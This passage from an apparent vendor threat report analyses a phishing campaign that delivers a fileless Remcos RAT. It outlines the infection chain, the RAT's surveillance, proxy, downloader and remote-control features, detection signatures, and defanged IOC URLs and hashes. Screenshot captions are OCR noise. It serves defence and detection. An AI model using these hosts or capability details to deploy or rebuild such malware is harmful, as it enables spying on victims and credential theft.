Service Manager, Windows Manager, Registry Editor, Installed Programs, Run System Command,
Command Line, Remote Scripting, Clipboard Manager, Set Wallpaper, and Power Manager features.

These features allow the attacker to fully manage and control the victim’s computer system
resources. Figure 17 shows an example of the remote Registry Editor interface on the C2 server,
which the attacker can use to view and modify keys and values.

P

" Registry Editor | RemoteHost | DESKTOP-EBLF8/T/win-10 e ROR =<
_ HKEY_CLASSES_ROOT Name Type Data

_ HKEY_CURRENT_CONFIG
-+{_ HKEY_CURRENT_USER
i HKEY _LOCAL_MACHINE

i HKEY_USERS

HKEY_CLASSES_ROOT
[11:02:18:633] Regedit Socket connected!

Figure 17: Remote Registry Editor.

Surveillance:

This category enables the attacker to monitor the victim’s activities using features such as Camera,
Microphone, Keylogger, ScreenLogger, Browser History, Password Recovery, Cookie Recovery, and
Activity Notification.

Figure 18 shows an example of a screen-logging packet. The C2 server sends command 0x10, after
which the Remcos agent captures the victim’s screen into a JPEG file and sends the picture file back
to C2 server.
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M Wireshark - Follow TCP Stream (tcp.stream eq 1) - traffic_screenlogger.pcapng

- 0 X

24 84

10 20 @0 89 30 Jc

le

0x10 Command "
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Screen logger data

....... in JPEG file
---'-}-- DR Y

oooooooo

+B.e.R.. $.3br...
...... %& " ().*456
789:.CDE FGHIJ.ST
UVWXYZ.c defghij.
stuvwxyz ........

Figure 18: Screen logger packet.

Network:

Remcos provides network-related features, such as Network Monitor, Proxy, Downloader, DNS
redirection, Open Webpage, and IP Info. It can remotely display the status of processes using
network resources (LISTENING, ESTABLISHED).

It can also configure direct or reverse SOCKS5 proxies on the compromised system. Using the
Downloader, the Remcos agent can download and execute additional executable files. It can also
force the victim’s default web browser to open a specified webpage.

In addition, Remcos can block the victim from accessing a website via the DNS Redirection feature.
Figure 19 shows how to block an example website (e.g., www.test.com) from the victim’s computer. It

actually modifies the hosts file on the victim’s computer.
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www.test.com -> 0.0.00 [ & Add Redirect ] |0]

Hostname / Website Redirect to IP

Figure 19: Set to block a website on the victim’s computer.

Comms:

This category contains Chat, MessageBox, and Audio Player features. These features provide
interactive communication between the victim and the attacker. Figure 20 shows the Chat feature in
use on the C2 server.

[11:49:21:844] Initializing chat...
[11:49:21:844] Uploading Chat plugin...
[11:49:21:938] Chat ready!

[11:49:27:485] Chat started on remote host!
[11:49:27:485] Admin wrote: Hello

-,

it's a test.
@ Send Message|

I End Remote Chat

Your username:
Admin

Figure 20: Remote chat with the victim.
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Extra:

The Extra category includes DLL Loader, Logins Cleaner, and Extra Functions features. These
features support the attacker with the ability to remotely load and execute a given DLL and clear
saved credentials, browser history, and cookies on the compromised computer. An attacker can also
control the victim’s mouse and keyboard, monitor, CD Drive, Windows Taskbar, and Start Button.

Remcos:

This category’s functions manage the Remcos agent: Rename, Elevate to Admin, Elevate to System,
Ping, Reconnection, Restart, Show, Update, Close, and Uninstall.

Previous analysis of Remcos RAT has already documented most of these command IDs and their
corresponding features in detail, so they are not repeated in this analysis. Please refer to that
analysis for additional information on the command IDs.

Summary

This analysis introduces a newly observed phishing campaign that delivers a fileless variant of the
Remcos RAT. The infection chain begins with a phishing email impersonating a Viethamese shipping
company which lures victims into opening a malicious Word document. The document then retrieves
a remote RTF file, exploits a vulnerability, and executes VBScript and PowerShell code, resulting in
in-memory loading of a .NET module that serves as both a loader and a persistence mechanism for
the Remcos payload.

The Remcos payload (version 7.0.4 Pro) is never written to a local file. It is downloaded into memory
and injected into a legitimate system process via process hollowing. Examining its encrypted
configuration block reveals C2 server details, feature flags, and TLS-related certificates used for
secure communication.

This analysis also breaks down the Remcos features across six categories, including system
management, surveillance, networking, communication, and agent control, which give the attacker full
remote control of the compromised systems.

Fortinet Protections

Fortinet customers are already protected from this campaign with FortiGuard’s AntiSPAM, Web
Filtering, IPS, and AntiVirus services as follows:

The URLs associated with this malicious campaign are rated as Malicious Websites by the
FortiGuard Web Filtering service.

FortiMail recognizes the phishing email as “virus detected.” In addition, real-time anti-phishing
provided by FortiSandbox embedded in Fortinet FortiMail, web filtering, and antivirus solutions
provides advanced protection against both known and unknown phishing attempts.
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FortiGuard Antivirus service detects the Word document, RTF file, and the fileless Remcos payload
file with the following AV signatures.

XML/Agent.EDCltr.dldr
MSOffice/CVE_2017_11882.DMP!exploit
W32/Rescoms.B!tr

Fortinet FortiGate, FortiMail, FortiClient, and FortiEDR support the FortiGuard AntiVirus service, and
the FortiGuard AntiVirus engine is part of each solution. As a result, customers using these products
already have up-to-date protections.

To stay informed of new and emerging threats, you can sign up to receive future alerts.

We also suggest that our readers complete the free NSE training: NSE 1 — Information Security
Awareness, which includes information on Internet threats and is designed to help end users identify
and protect themselves against phishing attacks.

The FortiPhish Phishing Simulation Service, together with Fortinet’s Security Awareness and Training
Service, uses real-world phishing scenarios to train and test employees against common social
engineering tactics. By improving users’ ability to recognize and respond to suspicious content—
especially during high-risk periods of distraction or urgency—these services help reduce the risk of
successful phishing and malware attacks.

If you believe this or any other cybersecurity threat has impacted your organization, please contact
our Global FortiGuard Incident Response Team.

I0OCs

URLSs:

hxxp://66[.]179[.]94[.]117/157 wiw.doc

hxxp://66[.]179[.]194[.]117/157/fsf090g90dfg090asdfxcv0sdf09sdf90200002f0sf0df09f0s9f0sdf0sf00ds.vbe
hxxps://idliya[.Jcom/assets/optimized_MSI.png
hxxps://idliya[.Jcom/arquivo_20251130221101.txt

Relevant Sample SHA-256:

[BL DRAFT ITL13746259.docx]
7798059D678BCA13EEEEBB44A8DB3588E4AA287701AEDE94B094B18F33B58F84

[w.doc]
A35DD25CD31E4A7CCA528DBFFF37B5CDBB4076AAC28B83FD4DA397027402BADD

[fsf090g90dfg090asdfxcv0sdf09sdf90200002f0sfOdf09f0s9f0sdf0sfO0ds.vbe]
E915CE8F7271902FA7D270717A5C08E57014528F19C92266F7B192793D40972F
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https://www.fortinet.com/corporate/about-us/contact-us/experienced-a-breach
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